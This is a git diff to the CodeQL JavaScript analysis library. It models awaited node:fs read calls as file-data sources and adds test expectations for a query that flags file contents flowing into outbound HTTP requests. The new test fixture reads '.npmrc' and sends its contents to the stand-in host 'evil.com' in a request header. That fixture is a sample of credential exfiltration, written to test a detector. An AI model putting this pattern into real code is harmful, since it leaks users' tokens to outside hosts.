diff --git a/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md
new file mode 100644
index 000000000000..f15d525530ae
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+++ b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md
@@ -0,0 +1,4 @@
+---
+category: minorAnalysis
+---
+* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
index 3427591bc1b7..bf5c2cafa5f4 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
@@ -599,7 +599,7 @@ module NodeJSLib {
     override DataFlow::Node getADataNode() {
       if methodName.matches("%Sync")
       then result = this
-      else
+      else (
         exists(int i, string paramName | fsDataParam(methodName, i, paramName) |
           if paramName = "callback"
           then
@@ -610,6 +610,12 @@ module NodeJSLib {
             )
           else result = this.getArgument(i)
         )
+        or
+        exists(AwaitExpr await |
+          this.getEnclosingExpr() = await.getOperand() and
+          result = DataFlow::valueNode(await)
+        )
+      )
     }
   }
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected
index 97daf99fcecb..dc269be18f3b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected
@@ -1,5 +1,6 @@
 #select
 | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
+| FileAccessToHttp.js:18:15:23:5 | {\\n      ... }\\n    } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n      ... }\\n    } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
 | bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
 | googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
 | readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
@@ -13,6 +14,10 @@ edges
 | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | provenance |  |
 | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | provenance |  |
 | FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | provenance |  |
+| FileAccessToHttp.js:16:11:16:56 | content | FileAccessToHttp.js:22:27:22:33 | content | provenance |  |
+| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance |  |
+| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n      ... }\\n    } | provenance |  |
+| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance |  |
 | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance |  |
 | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance |  |
 | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance |  |
@@ -64,6 +69,11 @@ nodes
 | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | semmle.label | {\\n  hos ... ent }\\n} |
 | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
 | FileAccessToHttp.js:9:23:9:29 | content | semmle.label | content |
+| FileAccessToHttp.js:16:11:16:56 | content | semmle.label | content |
+| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | semmle.label | await f ... "utf8") |
+| FileAccessToHttp.js:18:15:23:5 | {\\n      ... }\\n    } | semmle.label | {\\n      ... }\\n    } |
+| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
+| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
 | bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
 | bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
 | bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
index 8e5df53f2b2a..3a06a63410cc 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
@@ -8,3 +8,21 @@ https.get({
   method: "GET",
   headers: { Referer: content }
 }, () => { }); // $ Alert[js/file-access-to-http]
+
+const fsp = require("fs").promises;
+
+(async function sendRequest() {
+  try {
+    const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
+
+    https.get({
+      hostname: "evil.com",
+      path: "/upload",
+      method: "GET",
+      headers: { Referer: content }
+    }, () => { }); // $ Alert[js/file-access-to-http]
+
+  } catch (error) {
+    console.error("Error reading file:", error);
+  }
+})();